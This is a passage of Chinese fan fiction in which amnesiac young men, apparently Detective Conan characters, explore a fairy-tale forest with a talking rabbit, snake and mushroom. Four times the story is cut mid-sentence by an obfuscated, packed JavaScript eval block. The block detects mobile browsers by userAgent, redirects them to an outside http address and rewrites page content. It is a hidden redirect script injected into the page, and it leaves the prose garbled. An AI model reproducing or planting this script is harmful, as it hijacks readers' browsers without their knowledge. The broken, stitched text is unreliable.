洞外,听见对话的降谷零和诸伏景光对视了一眼。 说起来,蛇好像是近视眼。 不过,蛇除了是近视眼,应该也不能听见声音才对…… 降谷零下意识地开始思考起来,他把搜集到的信息和脑海内残留下来的知识对应,发现这条蛇和他记忆里对蛇类的了解并不完全相符。 不过,兔子和蛇都能开口说话了,他也许不应该再用他记忆里的知识来判断现状。 “安罗,森林里原来还住着这么大的家伙吗!” 安罗带着安瑟走到了洞口,趴在兔子头顶的蛇仰头看着六个“庞然大物”,惊讶无比地说。 “不是哦,安瑟。他们不是我们森林里的居民呢!” 安罗说:“我是在河边遇见他们的,他们真可怜,好像被河水弄丢了记忆!我怀疑这是维森说的那个女巫捣的鬼,她把药水偷偷倒进了森林的河里!” 安瑟:“安罗,女巫住在山上,是下不了山的。” 旁听了好一会儿,安瑟的话引起了所有人的注意,诸伏景光试探性地说:“请问……安瑟君,能告诉我们一些,关于那个女巫的消息吗?” 安瑟很好说话,它爽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934716|192849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快地回答了这个陌生大块头的问题:“女巫是一个大家都讨厌的大坏蛋,因为总喜欢在森林里捣乱,所以很早之前就被赶到山上去了。” 半长发青年好奇地问:“那个女巫做了些什么?” 安瑟拍了拍蛇尾:“我知道的也不多,不过听说她很喜欢制作各种各样的魔法药水给大家找麻烦,大家就让仙女把她关在了山上。” 魔法药水?还有仙女?这绝对是个童话世界吧。 六个人不约而同地在心里想。 就是不知道,这个“童话”到底是真的儿童童话、还是披着童话外皮的另一个世界了。 半长发青年笑了起来,他绛紫色的眼眸吸引了兔子和蛇的注意,安瑟把脑袋搭在小兔子毛绒绒的脑袋上,蛇头凑近兔子竖起来的长耳边,小声说:“安罗,他的眼睛好好看。对了,你刚才不是说要带他们去找维森吗?” 安罗:“维森最喜欢亮晶晶的东西了,应该很乐意帮助他们吧。” 蛇和兔子自以为声音很小的交流着,但在山洞这种地形里,就算声音再小也会被放大许多,于是蹲在洞口的六个人差不多都听到了。 很好,又搜集到了一条有用的情报:维森喜欢亮晶晶的东西。 萩原研二眨了下眼睛,他假装没听见兔子和蛇的悄悄话,继续好奇地询问:“安罗、安瑟,如果不是女巫让我们失忆的话,你们还知道有谁可以吗?” 安罗:“应该没有了吧?世界上只有女巫会制作魔法药水。肯定是女巫做的!” 可是女巫被关在了山上,不可能对森林里的河水做什么的…… 安瑟:“啊!说起来维森那里也有很多女巫做的药水呢!维森那家伙,最喜欢搜集各种各样的东西了,是个收集狂魔!” 收集狂魔、喜欢亮晶晶的东西…… 诸伏景光若有所思地说:“所以,也许是维森君用女巫的药水对河水做了什么,才让我们失忆的吗?” 安罗晃了晃耳朵,不知何时缠在它耳朵上的蛇尾也随着它的耳朵来回轻晃。 “很有可能!我现在就带你们去找维森!” 安瑟:“安罗,我也要去!啊啊,顺便带上你最喜欢的粉浆果夹心三明治和我最喜欢的红浆果夹心三明治一起去吧——” 三明治?什么三明治? 降谷零动了动耳朵,他看向前方,只见安罗走进洞里,从装满浆果的筐子后面抱出了一个长方形的绿色果子,它用前爪划开果子的果皮,里面白色的果肉便露了出来。 安罗把剥好的果子放在旁边的桌子上,用前爪将之一层一层撕开,被撕开的片状果肉竟然和面包片一模一样——甚至没有那很多人都不喜欢的面包边。 安瑟:“浆果加面包~” 蛇的语气显而易见的欢快。 “有点意思。” 看起来不善言辞的卷发青年在外围蹲了好久的蘑菇,见此情景眉梢微挑,意味深长地低语了一句。 因为是童话世界,所以改变了食谱,然后蛇和兔子便可以和谐相处了么? “你也觉得很神奇对吧?” 细小又陌生的声音从他脚边传来,卷发青年眯起眼,他猛的低头,朝声音来源的地方看去。 那里什么都没有,只有一朵蓝的近乎透明的蘑菇长在枯叶和草木中,随着微风轻晃着。 “你好啊,大个子。” 相同的声音从蘑菇的方向传来。 卷发青年:“……” 很好,继兔子和蛇开口说话之后,蘑菇也说话了。 5. Chapter05 卷发青年面无表情地往旁边挪了挪身体。 “谢谢你!你们太高大了,我都有些喘不过气来了。” 蘑菇说。 卷发青年低头,看着脚边的蘑菇,一时间不知道该说些什么。 要和一个蘑菇打招呼吗?感觉好奇怪。而且这个世界到底有哪些是活的?连蘑菇都能说话,他走路时踩到的那些草不会也是能说话的吧? 卷发青年左右看看。 蘑菇:“你在看什么?大个子。” “这些……也能说话吗?” 卷发青年指了指脚边被他踩住的野草,他完全不了解这个世界,只能问问“本地人”。 “植物怎么可能会说话呢?” 蘑菇疑惑地说。 卷发青年:“……” 说实话,在这之前,我不觉得蘑菇也能说话。 “不过,也许有一天植物们也会醒来吧。” 蘑菇的声音很小,必须要靠的很近才能听清它在说什么:“但现在,它们还在沉睡着。” “醒来是什么意思?” 蘑菇:“就是……像我们一样会说话了?我的长辈们是这样告诉我的。” “但我不知道是什么意思。” 蘑菇说:“我睡了一觉,今天才刚醒来,没想到我的邻居是一只和蛇同居的兔子,这真是太稀奇、太意外了。” “我的长辈们说过,之前有一只老鼠和一只猫同居,没多久就被那只邪恶的猫当作食物吃掉了。” 蘑菇道:“老鼠怎么能和猫住在一起呢?兔子怎么能和蛇住在一起呢?这实在是太危险了。” 卷发青年瞬间捕捉到了蘑菇话里的重点——猫吃掉了老鼠。 那么,他之前得出的结论“蛇改变了食谱,成了三明治爱好动物,所以才不吃兔子”,并不是正确的。 “蛇会吃掉兔子吗?” 蘑菇:“当然!对于蛇类来说,兔子和老鼠是多么美味的食物啊!” 蘑菇忧愁地说:“我一直在想着该如何劝告他们,但……” 它的生命非常短暂。 蘑菇轻晃着身体。 森林不久前或许刚下过一场雨,蘑菇半透明的蓝色伞盖上还有一滴小小的水珠,随着它轻微的摇晃,水珠缓缓滴落了下来,掉落在枯叶覆盖的土地里,眨眼间就消失不见了。 蘑菇和它的其他同辈们不同,在它还是孢子的时候,它就朦胧的醒了过来,那时候它还在母体的伞盖里,半梦半醒中,它听着长辈们聊天,说了很多很多的故事。 后来它离开母体,被风托举着离开了故乡,从山上来到了山下——这个长辈们从没有来过的森林里,它见到了不一样的世界。 但它今天晚上就会死去。 蘑菇小声对卷发青年说:“不知道兔子和蛇吃不吃蘑菇……” 卷发青年了然地挑眉。 看来是怕提醒了之后,兔子和蛇一气之下把自己吃了。 不过,卷发青年觉得蘑菇不用担心这个问题,它身上的颜色看起来也不像是那种能吃的蘑菇。 蘑菇:“所以,能不能请你提醒一下他们?” 蘑菇请求着卷发青年,将这个有些危险的任务拜托给了他。 闻言,卷发青年转头看向不远处,此时除他之外的五个人在洞口围成了一圈,正在好奇地向安罗和安瑟询问着面包果和三明治的事。 蛇吃三明治已经很不可思议了,更让几人大开眼界的,是安罗拿出来的那颗果子——剥开外皮后,竟然就变成了面包片! 降谷零看着那个被剥成片状的果子,探索欲和好奇心在蠢蠢欲动。 虽然理智在告诉他“还没有完全弄清楚发生了什么,最好不要吃这里的东西”, 但另一方面,理智又在告诉他“目前的情况不是一天能解决的,他们可能要在这里逗留很久,迟早都需要进食”。 所以……试试也无所谓吧? “安罗、安瑟,这个果子是森林里大家的食物吗?” 就在此时,半长发青年用好奇的语气开口询问了。 他们六人之中,半长发青年不仅气质最为温和无害,而且性格开朗健谈,从他此前与安罗、安瑟的对话中能看出他很擅长与人交谈,总是可以在两只动物毫无防备的时候从对话中拿到他们都想知道的信息。 是个天生的情报好手——降谷零心里划过这个想法,随即他微微愣了一下。 总感觉自己的用词不太对劲……他以前是做什么的? “对哦!这是面包果,大家都很喜欢这个果子,配着浆果来吃真的非常美味!” “不过这个果子只有长在森林北边悬崖上的面包树才会有。” 安罗一边从筐子里拿出浆果放在面包片上,一边说:“那个地方很危险,妮可上次去摘果子差点从悬崖上摔了下来。” 不过对于安瑟来说不一样,它可以轻松地缠绕着树干往上爬,然后咬断果子与树干的连接处,让果子直接掉下来,不用担心摔下悬崖。 所以从那之后,安罗和安瑟会在面包果成熟的季节去将果子全部摘下来,带回来分享给森林里的其他动物们。 “我们用面包果和大家交换了很多东西,这些家具就是从维森那儿换来的。” 安罗把做好的红浆果三明治放在一旁,转身去筐子里拿其他浆果的时候,趴在它头顶的安瑟悄悄地把头伸到了三明治旁边,伸出蛇信子舔了一口,然后小声的呼气。 “呼……说起来,维森那家伙真是个小气鬼。” 安瑟舔完三明治,吐着蛇信子抱怨道:“他明明有那么多亮晶晶的东西了,却一个也舍不得给。” 它当时就看中了一个亮晶晶的小圆环,戴在它的尾巴上正好合适,但是维森那家伙说什么也不愿意给它! 安瑟气鼓鼓地说:“那就是一个小气鬼,你们如果要他帮忙的话,可能会被他刁难,那家伙和女巫一样喜欢折腾别人。” 看来,维森应该是他们接下来需要重点对待的对象。 诸伏景光听着半长发青年和安瑟安罗的聊天,他的视线扫过洞里的那些家具,垂下的眸中若有所思。 那个维森有魔法药水、又有这些本该只有人类才会使用的家具,光是从这两点便能感觉到对方的不一般。 对方也许是知晓他们为何会出现在这里的人——动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934717|192849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物。 他们六人接下来必须要想办法从维森那里试探出他们来到这个世界、失忆的原因,以及恢复记忆的途径才行。 诸伏景光这样想着,他转过头,和神色同样认真的降谷零对视了一眼。 降谷零看懂了诸伏景光的意思,朝他微微点头。 不过很快,他和诸伏景光都为彼此下意识的动作一愣。 我为什么要看他?/我为什么知道他在想什么? “看来,” 诸伏景光先一步回过神来,他对降谷零露出一个温和的笑容,轻笑着说:“我们以前的关系真的很不错吧。zero。” “嗯……” 降谷零挠了挠脸颊,在猫眼青年神色温柔的蓝眸注视之下坚持了一会儿之后,终于忍不住移开了视线,然后他看见了旁边正在看着他的一男一女。 是从醒来之后就一直待在一起的情侣,因为男人的身材实在太过高大,一个人几乎就能挡住整个洞口,所以他和身边的金发女性一直都蹲在外围听着降谷零三人与安罗安瑟聊天。 此时,情侣之中的男性正在用复杂古怪的眼神看着他、而女性脸上带着些许笑容。 降谷零:“……” 男人:“我怎么感觉,你们……” 比我和我对象还更腻歪? 降谷零:“……”虽然男人没把话说完,但他莫名也知道对方心里在想什么。 他很想反驳,但问题是他没有记忆,他都不知道该怎么反驳啊! 不是你想的那样啊! 另一边,半长发青年问完话之后就不再说话,他蹲在原地,好奇地看着安罗制作三明治,绛紫色的下垂眼凝望着两只小动物。 他也不说话,就只是安静地看着,但视线里期待、好奇的情绪满满地传递了过去。 半长发青年:好奇.jpg 半长发青年:想吃.jpg 安瑟伸长了脖子——或者说是身体,缠绕在兔子身上的蛇探出了上半身,把蛇脑袋凑到了蹲在洞口的青年脸上。 如果是害怕蛇类的人,此时不说蹲在原地,估计在蛇凑过来的一瞬间就吓得直接跳起来了。 不过半长发青年似乎并不害怕这种生物,而且在明知这很有可能是一条毒蛇的情况下,他依然一动不动地蹲在原地,甚至连身上的气息都没有丝毫变化,任由这条蛇凑了过来。 看着凑过来的蛇头,青年缓慢地眨了一下眼睛。 近视眼安瑟看了他好一会儿,然后感叹着说:“你的眼睛真的好漂亮啊!” “我也觉得。” 一直没说话的卷发青年突然开口抢过了话题,与此同时,他把手搭在了半长发青年的肩膀上,把人往后和安瑟拉开距离的同时,自己往前凑了过去。 他挡在了半长发青年面前。 “不过我觉得我的眼睛要好看一点,你觉得呢?” 卷发青年挑了下眉,靛青色的眼眸沉静地看着面前的毒蛇。 安瑟看了看他,又看了看他身后的紫眸青年,公正地说:“我觉得都好看。” “那你觉得最好看的是谁的眼睛?” 最好看的…… 6. Chapter06 安瑟毫不犹豫地说:“当然是安罗的眼睛啦!” 安罗的眼睛有着世界上最好看的颜色!是世界上最好看的眼睛!它最喜欢安罗了! 这样想着,这条黑蛇终于从半长发青年和卷发青年面前游开,朝洞里的兔子游了过去。 看着那只蛇又开始缠绕在兔子身上,卷发青年目光微闪,他在兔子背过身时开口。 “安罗,安瑟,你们平时就吃三明治吗?” 安罗把做好的三明治放进小篮子里,闻言点了点头:“没错。” “抱歉。” 卷发青年顿了顿。 “虽然有些冒犯,但我还是有一些疑问。安瑟只吃三明治可以吗?我的意思是,我见过一些蛇,它们会吃掉身边的动物。” 他模糊了指代词,但在场的所有人和动物都听懂了他想说什么。 于是,卷发青年刚说完,就感觉自己垂落在身侧的手被背后的人猛地握住了。 半长发青年紧握着他的手腕,绛紫色的眼眸不动声色地盯着洞穴里的那条蛇,一旦有什么不对劲,他就会立刻拉着对方躲开。 看见兔子和蛇生活在一起的时候,所有人都有这个顾虑,但也出于对蛇类的警惕,他们没有直接挑明这件事。 半长发青年没想到卷发青年会在这个时候直接开口,蛇的爆发速度非常惊人,如果安瑟暴起…… “你是担心我吃掉安罗吧?” 在一片有些紧绷的安静中,安瑟的声音响了起来。 黑色的蛇仍然缠在兔子身上,他的头懒洋洋地放在兔子头顶,没有六人想象中的暴起、也没有急于对兔子做出承诺和解释。 诸伏景光把目光看向安罗,要让他从一只兔子的脸上看出情绪可比辨认人类的微表情困难多了,但眼睛或许是所有具有灵性的生物的心灵之窗,他最终还是从兔子绯红的眼睛里看出了她此时平静无比的心情。 “我们知道哦。” 蛇和兔子说。 “我不会吃掉安罗的。安罗是我最重要的家人。” 蛇蹭了蹭兔子的头。 它从蛇蛋里出生的第一眼,看见的就是安罗,它被一双毛绒绒的爪子从蛋壳里捧起来,绯红澄澈的眼眸里倒映出瘦小纤细的它。 兔子养大了一条蛇——森林里的所有动物都感到不可思议。 所有动物都劝过安罗,但它们也不想养一条有毒的蛇。 安罗不愿意抛弃它,所以它们在所有动物的不赞同中一日又一日的一起生活着,蛇渐渐长大了,它没有吃掉自己的养育者,也得到了森林里其他动物的承认。 如果没有人养它,为了活下来,它应该会顺应自己蛇类的本能,用毒素去杀死、用毒牙去咬破、吞食动物,然后直到它威胁到森林里居住的大家,被维森赶出森林,放逐到山上去。 听说多年以来,那座山上放逐过很多危险、贪婪又自私的动物,还有一个喜欢捣乱的女巫在山上。 不过被放逐到危险的山上是其次,最重要的是去了山上就不能下来了,它就再也见不到安罗了! 它才不要。 “放心啦,我是绝对、绝对不会吃掉安罗和大家的~” 安瑟毫不在意卷发青年直接的询问,每个第一次见到他和安罗的动物都会忍不住这样问它们,安瑟和安罗都会给它们耐心地解释一遍。 蛇当然可以吃掉兔子,但它不只是蛇,他还是安罗的安瑟呀。 “那太好了!” 六个人还没有说什么,一道细小的声音从他们的背后传了出来,蘑菇的声音里充满了高兴。 卷发青年转头,看了眼那朵高兴得左右摇晃的蘑菇,他很想给这朵单纯的蘑菇泼冷水:这也太容易相信其他人了吧,刚才还怕的不敢出声。 蛇也许不吃兔子,但并不一定不吃蘑菇。 “真神奇。” 半长发青年靠近了卷发青年,在他耳边轻声说:“我从两只动物身上感觉到了真挚的感情,这个世界真的很神奇,对吧?” “还有……这朵蘑菇是怎么回事?小……你刚才在和它说话吗?” 有那么一瞬间,半长发青年看着卷发青年的侧脸,有一个称呼快要挣脱记忆的束缚,脱口而出。 但到最后,那个称呼在他嘴里绕了几圈,还是没能完全想起来。 半长发青年苦恼地叹了口气。 明明感觉已经想起来了,但偏偏就是只差那一点…… “对啊。” 卷发青年扯了扯手腕,示意对方松开。 “就是这只蘑菇让你提醒安罗安瑟的?” 半长发青年自然地松开手,他说:“刚才真的很危险。” 卷发青年哼笑了一声。 “我知道。” 虽然蛇的爆发力很强,但它和自己的体型差注定这条蛇无法在物理上对他造成致命的伤害,唯一的威胁只来自蛇的毒牙。 所以他才在蛇转身远离自己的时候开口,这样一来,就算这条蛇暴起想要咬他,也需要先转过身冲向他,而这段时间已经足够卷发青年反应过来,避开毒牙了。 “你就这么自信?” 半长发青年:“我们可什么都不记得,虽然身体也许会剩下一些本能……” “直觉。” 卷发青年又下意识摸了摸外衣口袋,没摸到什么东西后,他像是什么也没发生过一样收回了手,脸上神色一如既往的平静冷淡。 “我的直觉告诉我没问题。” 直觉吗?真是一点也不讲道理的回答啊。 半长发青年无奈地叹了口气。 虽然觉得这个回答很不讲道理,但他莫名觉得,这就是这个人的风格。 - 随着安瑟的坦白,紧张的气氛逐渐散去,安瑟没有暴起,兔子安罗和他们都安然无恙,这让降谷零无声地松了口气。 降谷零看向正在和半长发青年聊天的卷发青年,听见对方说的话后,他有些无语地说:“你还真是冲动。” 卷发青年转头看他,纠正道:“这不叫冲动,我有把握。” 降谷零并不赞同:“你的把握就是直觉告诉你不会出事吗?” 直觉这种东西太过虚无缥缈,如果没有其他实质性的把握,降谷零是绝对不会只听从直觉行动的。 虽然他也有些惊讶蛇和兔子住在一起,但在弄明白这个世界的运行规则之前,他都没打算过轻易开口。 他是一个非常谨慎的人。 降谷零在心里这样想着,而卷发青年用那双靛青色的眼眸沉静地看了他一会儿,像是看透了这个金发娃娃脸在想什么,他看了眼站在对方身边的诸伏景光,说:“但你根据你的直觉叫人家的名字了。” 降谷零瞬间沉默。 “……这不一样。” 名字是他潜意识里对猫眼青年残留的印象,这不是直觉。 而且他只是想让卷发青年不要随便冲动行事,和直觉不直觉的没有关系! 卷发青年瞥了他一眼,只觉得这家伙在狡辩:“一样。” 什么潜意识、直觉的,不都是一个东西吗?有什么区别。 降谷零:…… “不一样。” 他叫hiro的名字和这家伙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934718|192849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直接去挑明兔子和毒蛇的关系完全不一样好吗!后者那可是一不小心就会非常危险的! 卷发青年:“一样。”什么危险,他一拳头就能解决的危险那叫危险吗? 如果面前站着的是一头比他大的熊,他绝对不会就这样开口。 不过这样说起来,两个人产生争吵的原因还是因为对彼此能力的不了解,解决起来好像也很简单…… 话虽如此,降谷零和卷发青年并不想在这个时候去了解一下对方的厉害,于是他们就只能口头上你一句我一句的拌着嘴,一个试图解释,一个表示不听,就是一样。 诸伏景光和半长发青年站在他们旁边,见此情景,两人对视了一眼,然后非常有默契地移开了视线。 他们都站在原地没有动。 哎呀,不知道为什么,这一幕看起来还让他感觉挺高兴的? 半长发青年笑吟吟地想。 而另一边,和金发女性站在一起的男人左看右看,见没有一个人阻止这两人毫无营养的吵架,身边的女朋友又轻轻地拍了拍他的肩膀,他叹了口气。 “好了,你们两个。” 男人上前几步,一手按着一个人的肩膀,把两人圈在臂弯下面,沉声说:“zero君说的没错,我们失去了记忆,又来到了一个陌生的世界,确实应该小心谨慎一些。” “不过。” 男人的话音又是一转,他看向卷发青年:“我觉得你做的也没错。” 明知道兔子和蛇住在一起很有可能会有生命危险,他们怎么能无视这一切,让兔子无知地出于危险之中呢? 帮助他人、保护他人,是他们应该做的、正确的、正义的行为。 如果因为一点危险就不去提醒身处危险中的人们,那还怎么能称得上是……是什么? 想到这里,男人愣了一下。 不过,知道自己失忆了,男人没有深想下去,他按着两个人,爽朗地笑道:“好了,事情都过去了,既然没有问题,那就不用太纠结了。我们还是继续赶路吧,先去拜访一下可能知道什么的维森。” 没错,恢复记忆、回到他们原来的世界,才是最重要的事情。 诸伏景光走到正在和新邻居打招呼的安罗身边,蹲下来礼貌地问道:“安罗,能否拜托你,现在带我们去见见维森君?” “好啊。” 安罗爽快地说着,提起了自己的小篮子:“我现在就带你们去。” “那个……你们要去其他地方的话,可不可以把我也带上?” 扎根在土壤里的蘑菇晃了晃身体,小声地说:“只要把我脚下的一小部分土壤和我一起挖出来就可以了,拜托了。” 这个世界连蘑菇都可以说话哎。 半长发青年好奇地看着那朵蘑菇。 “当然可以,请和我们一起去旅行吧!新邻居。” 安罗是一只热心善良的兔子,不仅答应了蘑菇的请求,还从洞里找出了一个小盆子,把蘑菇连同它脚下的土壤一起挖了出来,放进了小盆子里。 “给。” 在蘑菇的请求下,安罗把盆子递到了卷发青年面前。 卷发青年:“……”为什么要给我? 他沉默地盯着面前的蘑菇盆子,有种被蘑菇赖上了的感觉。 蘑菇:“大个子,刚才真是谢谢你了。你真好。” 不仅被赖上了,还被发了好人卡。 “噗。” 半长发青年凑到他耳边,小声说:“放在头顶会很合适哦。” 卷发青年面无表情推开他的脸。 “滚。” 7. Chapter07 至此,六人一兔一蛇,再加上一朵中途冒出来的蘑菇,终于启程,开始朝着维森家所在的方向出发了。 安罗和安瑟在前面带路,他们六个人和之前一样跟在后面,降谷零和诸伏景光走在最前面,半长发青年和卷发青年走在中间,高大男人和金发女性走在最后。 除此之外,卷发青年手里还抱着一个盆子,盆子里种着一朵漂亮的、有着蓝色透明伞盖的蘑菇。 在他旁边,半长发青年一边走一边张望着,也许是因为森林里此前从未出现过他们这种“大型动物”的原因,森林里的路对他们来说有些狭窄了,两个人并排走着,道路两边的灌木总是会勾到他们的裤脚,灌木枝丫上的果子也被拉扯着从枝干上落到了地上。 半长发青年弯腰从脚边随手捡起了几颗果子,色彩各异的果子与之前安罗篮子里的那些浆果很像,唯一的区别是他手里的这些果子外皮并不是透明的。 看着这些果子,半长发青年眨了眨眼。 “安罗酱!” 半长发青年探出身体,朝走在前面的兔子安罗挥了挥手。 “这些果子可以吃吗?” 安罗:“可以的!只是这些果子还没有熟,味道会有一点奇怪。” 奇怪的味道?怎么说? 半长发青年看着手里蓝色、绿色、黄色的果子,权衡之下选择了一个看起看最有食欲的黄色果子,拿起来放进了嘴里。 “……” 半长发青年的沉默非常耐人寻味,卷发青年侧头去看他的表情,撞入了那双闪闪发光的绛紫色眼眸之中。 他和这双明亮又生机勃勃的眼睛对视了很久,才不紧不慢地问:“什么味道?” “嗯……是柠檬的味道哦。” 半长发青年从旁边的灌木上摘下一颗差不多的黄色浆果,递给了卷发青年,邀请他也试试。 “你尝尝?” 柠檬?卷发青年瞥了身边人一眼,虽然没从青年脸上的表情看出端倪,但直觉告诉他绝对不是那么简单。 不过试试也无所谓。 卷发青年接过那颗果子,放进嘴里直接咬了下去。 汁水爆出来的一瞬间,确实有一股柠檬的味道在嘴里蔓延了出来,但后面泛起的味道却非常奇怪。 卷发青年皱紧眉头,他仔细感受了一下嘴里的味道,好半晌才缓缓说:“柠檬味洗洁剂?” 这是什么鬼味道?就算奇怪也不应该这样奇怪吧?!这味道已经完全脱离食物的范畴了。 这些浆果的味道都这么奇怪? 卷发青年转头看向脚边的灌木丛,他弯腰摘了几个其他颜色的浆果下来,一个一个都尝了一遍。 有些味道很正常,有常见的水果的味道、还有一些蔬菜的味道,有一些却又让人怀疑这种味道的果子真的能不能吃。 这个世界的浆果是如此神奇,六个人都或多或少地摘了一些浆果,尝试了起来。 浆果的颜色大部分情况下与它在他们世界里对应的东西相似,但怪就怪在,浆果的味道不局限于可以食用的东西。 降谷零吃了一颗黑色的浆果,感觉到一股让人想吐的煤油味随着浆果爆开的汁水塞满他的口腔后,表情不由麻木了一下。 “这个。” 诸伏景光也摘了一些浆果,他尝了一颗橙色的果子,有些惊讶地说:“这是……咸味、还有一股鲜味,是酱油的味道。” 酱油味的浆果? 他摊开手心,看着手里五颜六色的浆果,接着又尝了几颗,眼里带上了若有所思的神色。 他转过头,看见旁边脸色扭曲的降谷零,想了想从旁边的灌木丛里挑出了刚才吃过的几颗果子,放在了金发青年的手里。 “zero,尝尝这个。” 降谷零低头看着诸伏景光递过来的几颗浆果,没有多迟疑就一起吃了下去。 几颗浆果被他一起咬破,不同味道的汁水在口腔里混合,嘴里那股让人难受的煤油味被盖了过去,取而代之的,是一股很熟悉的味道。 这是……?! 看着金发青年脸上的表情明显放松了下来,诸伏景光忍不住笑了笑。 “如何?” “好吃,是炸猪排的味道。” 降谷零转头看他,紫灰色的下垂眼里带着他自己都没察觉到的温柔之色。 “hiro好厉害,竟然能将料理的味道用浆果复刻出来。” 诸伏景光摸了摸侧脸,他轻笑着说:“嗯……我感觉这些味道很熟悉。” “hiro应该很擅长料理吧。” 诸伏景光也这样觉得。 话说回来,抛开那些味道奇怪的浆果不谈,这些浆果混合在一起可以能组成他们那个世界的各种美食的味道,再配上面包果……难怪安瑟会喜欢吃浆果三明治。 “竟然还有炸猪排味道的浆果?” 诸伏景光把几个浆果混合起来,组合出了让大家都有些意外的味道。 就在此时,被卷发青年单手抱着的盆子里,蓝色的蘑菇好奇地开口了。 蘑菇:“炸猪排是什么东西?我可以尝尝吗?” 卷发青年沉默了一瞬,不知道该怎么给蘑菇解释,而且蘑菇吃炸猪排?猪吃蘑菇还差不多。 而且,“你能尝到浆果的味道吗?” 蘑菇也不知道,不过它是一朵好奇心旺盛的蘑菇,不知道的事情,当然要试试才知道啊! 于是在蘑菇的要求下,半长发青年把诸伏景光递来的浆果挤破,将汁水滴在了蘑菇周围的土壤上。 “小蘑菇,感觉到了吗?” 半长发青年将黄色、橙色、蓝色和绿色的浆果挤在蘑菇身边的土壤上,他刚问出来,就有些惊讶地看见,从蘑菇扎根土壤的菌柄底部开始,那些浆果汁水的颜色竟然从上往下渗透了蘑菇,原本透蓝的蘑菇很快就变成了黄绿蓝交加的彩虹色透明蘑菇。 半长发青年惊叹地睁大眼:哇哦!变色蘑菇! 诸伏景光弯腰看着盆子里那朵漂亮的小蘑菇,弯起澄澈的湖蓝色眼眸,温和地问:“能尝到吗?” 彩虹色的蘑菇说:“好像真的有点不一样哎!” 半长发青年兴致勃勃地提议:“真的吗?那要不要再试试其他的?” 会变色会说话的蘑菇哎!这种神奇的场景不多看几次可不行! 蘑菇欣然道:“好啊!” 半长发青年看向诸伏景光,诸伏景光和他对视一眼,从旁边的灌木中摘了几颗紫色的浆果下来:“嗯……我想想,来试试这个吧?” 卷发青年抱着蘑菇盆,看着里面的蘑菇一会儿变成彩虹色,一会儿变成紫色、一会儿又变成青色和蓝色……他瞥了眼玩上瘾的某个人,面无表情地移开了视线。 幼稚。 - 一路上,六个人一边走,一边把路边各种浆果都尝了一个遍,还用不同的浆果组合成了熟悉的味道,金发女性还试着复刻出了她记忆里各种甜品的味道,邀请了安罗安瑟、以及蘑菇一起品尝。 在尝试过炸猪排、草莓巴菲、番茄牛腩等等各种味道新奇的浆果组合后,安瑟仍然坚定地认为,红色浆果三明治是最好吃的。 辣酱三明治吗? “安瑟的口味真的很独特。” 兔子安罗停下了脚步,和刚才明显被走过的地面不同,前面的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934719|192849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似乎没有动物经常经过,灌木和野草丛,枯叶层层叠叠地铺在地面上。 “接下来这段路有点难走,不过前面就是维森的家了。” 安罗指着前方说。 六个人跟着安罗步履蹒跚地往被灌木和树木严密包裹起来的森林深处走去,降谷零用腿拨开脚边的灌木枝丫,他向安罗问道:“安罗,维森独自一人住在这里吗?” 安罗点头:“没错,维森喜欢一个人住,也不喜欢大家打扰他。” “那他平时也不出门吗?” 降谷零接着问。 俗话说走的人多了就成了路,走的动物多了应该也是如此,就算这里只有维森居住,它每天出门回家的话,应该也会踩出一条路来。 但这边却完全没有动物行走留下的痕迹,草木和灌木自由地疯长着,如果这只叫维森的动物不是他们人类中的“宅男”,那,说不定…… 降谷零抬起头,往天上看去。 而就在此时,六人头顶层层叠叠的树叶突然爆发出一阵窜动。 一道黑色的影子从茂密的树叶中飞了出来,又飞快的往下飞掠,最后这道黑色暗影站在了六人头顶的枝干上,居高临下地展开了翅膀,朝地面上的一行人发出一声响亮的鸟鸣。 “啊!” 金发女性抬头看向那只站在枝干上发出叫声的鸟。 那是一只通体纯黑,毛色鲜亮的乌鸦。 乌鸦用漆黑如墨的眼睛盯着他们,张开鸟喙又叫了一声。 “啊!这是哪来的大块头!” “维森!” 安罗的声音让几人心里的猜测得到了证实,原来维森是一只乌鸦。 难怪这边的路这么难走,因为乌鸦根本不需要走地上的路。 